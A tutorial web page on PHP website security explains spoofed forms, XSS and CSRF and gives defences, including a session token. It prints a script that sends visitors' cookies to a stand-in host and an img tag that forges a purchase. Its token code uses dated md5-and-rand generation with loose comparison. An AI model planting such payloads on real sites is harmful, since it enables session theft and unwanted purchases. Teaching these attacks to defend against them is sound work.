Website Security with PHP

Website security refers to the security of the elements of a website through whichan attacker can interface with your application. These vulnerable points of entry include forms and URLs, which are the most likely and easiest candidates for a potential attack. Thus, it is important to focus on these elements and learn how to protect against the improper use of your forms and URLs. In short, proper input filtering and output escaping will mitigate most of these risks.

Spoofed Forms
A common method used by attackers is a spoofed form submission. There are various ways to spoof forms, the easiest of which is to simply copy a target form and execute it from a different location. Spoofing a formmakes it possible for an attacker to remove all client-side restrictions imposed upon the form in order to submit any and all manner of data to your application. Consider the following form:

<form method="POST" action="process.php">
   <p>Street: <input type="text" name="street" maxlength="100" /></p>
   <p>City: <input type="text" name="city" maxlength="50" /></p>
   <p>State:
   <select name="state">
     <option value="">Pick a state...</option>
     <option value="AL">Alabama</option>
     <option value="AK">Alaska</option>
     <option value="AR">Arizona</option>
     <!-- options continue for all 50 states -->
   </select></p>
   <p>Zip: <input type="text" name="zip" maxlength="5" /></p>
   <p><input type="submit" /></p>
</form>

This form uses the maxlength attribute to restrict the length of content entered into the fields. There may also be some JavaScript validation that tests these restrictions before submitting the  form to process.php. In addition, the select field contains a set list of values, as defined by the form. It’s a common mistake to assume that these are the only values that the form can submit. However, as mentioned earlier, it is possible to reproduce this form at another location and submit it by modifying the action to use an absolute URL. Consider the following version of the same form:

<form method="POST" action="http://example.org/process.php">
   <p>Street: <input type="text" name="street" /></p>
   <p>City: <input type="text" name="city" /></p>
   <p>State: <input type="text" name="state" /></p>
   <p>Zip: <input type="text" name="zip" /></p>
   <p><input type="submit" /></p>
</form>

In this version of the form, all client-side restrictions have been removed, and the usermay enter any data, which will then be sent to http://example.org/process.php, the original processing script for the form.

As you can see, spoofing a formsubmission is very easy to do—and it is also virtually impossible to protect against. You may have noticed, though, that it is possible to check the REFERER header within the $_SERVER superglobal array. While this may provide some protection against an attacker who simply copies the form and runs it from another location, even a moderately crafty hacker will be able to easily circumvent it. Suffice to say that, since the Referer header is sent by the client, it is easy to manipulate, and its expected value is always apparent: process.php will expect the referring URL to be that of the original formpage.

Despite the fact that spoofed form submissions are hard to prevent, it is not necessary to deny data submitted from sources other than your forms. It is necessary, however, to ensure that all input plays by your rules. Do not merely rely upon clientside validation techniques. Instead, this reiterates the importance of filtering all input. Filtering input ensures that all data must conformto a list of acceptable values, and even spoofed forms will not be able to get around your server-side filtering rules.

Cross-Site Scripting
Cross-site scripting (XSS) is one of the most common and best known kinds of attacks. The simplicity of this attack and the number of vulnerable applications in existence make it very attractive tomalicious users. An XSS attack exploits the user’s trust in the application and is usually an effort to steal user information, such as cookies and other personally identifiable data. All applications that display input are at risk.

Consider the following form, for example. This form might exist on any of a number of popular community websites that exist today, and it allows a user to add a comment to another user’s profile. After submitting a comment, the page displays all of the comments that were previously submitted, so that everyone can view all of the comments left on the user’s profile.

<form method="POST" action="process.php">
   <p>Add a comment:</p>
   <p><textarea name="comment"></textarea></p>
   <p><input type="submit" /></p>
</form>

Imagine that a malicious user submits a comment on someone’s profile that contains the
following content:

<script>
document.location = ''http://example.org/getcookies.php?cookies=''+ document.cookie;
</script>

Now, everyone visiting this user’s profile will be redirected to the given URL and their cookies (including any personally identifiable information and login information) will be appended to the query string. The attacker can easily access the cookies with $_GET[’cookies’] and store them for later use. This attack works only if the application fails to escape output. Thus, it is easy to prevent this kind of attack with proper output escaping.

Cross-Site Request Forgeries
A cross-site request forgery (CSRF) is an attack that attempts to cause a victim to unknowingly send arbitraryHTTP requests, usually toURLs requiring privileged access and using the existing session of the victim to determine access. The HTTP request then causes the victimto execute a particular action based on his or her level of privilege, such asmaking a purchase or modifying or removing information.

Whereas an XSS attack exploits the user’s trust in an application, a forged request exploits an application’s trust in a user, since the request appears to be legitimate and it is difficult for the application to determine whether the user intended for it to take place. While proper escaping of output will prevent your application from being used as the vehicle for a CSRF attack, itwill not prevent your application from receiving forged requests. Thus, your application needs the ability to determine whether the request was intentional and legitimate or possibly forged and malicious.
Before examining the means to protect against forged requests, it may be helpful to understand how such an attack occurs. Consider the following example.

Suppose you have a Web site in which users register for an account and then browse a catalogue of books for purchase. Again, suppose that a malicious user signs up for an account and proceeds through the process of purchasing a book from the site. Along the way, she might learn the following through casual observation:

• She must log in to make a purchase.
• After selecting a book for purchase, she clicks the buy button, which redirects her through
  checkout.php.
• She sees that the action to checkout.php is a POST action but wonders whether passing
  parameters to checkout.php through the query string (GET) will work.
• When passing the same form values through the query string
  (i.e. checkout.php?isbn=0312863551&qty=1), she notices that she has, in fact,
  successfully purchased a book.

With this knowledge, themalicious user can cause others to make purchases at your site without their knowledge. The easiest way to do this is to use an image tag to embed an image in some arbitraryWeb site other than your own (although, at times, your own site may be used for such an attack). In the following code, the src of the img tag makes a request when the page loads.

<img src="http://example.org/checkout.php?isbn=0312863551&qty=1" />

Even though this img tag is embedded on a different Web site, it still continues to make the request to the book catalogue site. For most people, the request will fail because users must be logged in to make a purchase, but, for those users who do happen to be logged into the site (through a cookie or active session), this attack exploits the Web site’s trust in that user and causes them to make a purchase. The solution for this particular type of attack, however, is simple: force the use of POST over GET. This attack works because checkout.php uses the $_REQUEST superglobal
array to access isbn and qty. Using $_POST will mitigate the risk of this kind of attack, but it won’t protect against all forged requests.

Other, more sophisticated attacks can make POST requests just as easily as GET, but a simple token method can block these attempts and force users to use your forms. The token method involves the use of a randomly generated token that is stored in the user’s session when the user accesses the form page and is also placed in a hidden field on the form. The processing script checks the token value from the posted form against the value in the user’s session. If it matches, then the request is valid. If not, then it is suspect and the script should not process the input and, instead, should display an error to the user. The following snippet from the aforementioned formillustrates the use of the token method:

<?php
session_start();
$token = md5(uniqid(rand(), TRUE));
$_SESSION['token'] = $token;
?>

<form action="checkout.php" method="POST">
   <input type="hidden" name="token" value="<?php echo $token; ?>" />
   <!-- Remainder of form -->
</form>
The processing script that handles this form (checkout.php) can then check for the token:
<?php
if(isset($_SESSION['token']) && isset($_POST['token']) && $_POST['token'] == $_SESSION['token']){
   // Token is valid, continue processing form data
}
?>

Next Topic | Previous Topic

Post to Twitter Post to Digg Post to Facebook Post to Google Buzz Send Gmail

Leave a Comment

Your email address will not be published. Required fields are marked *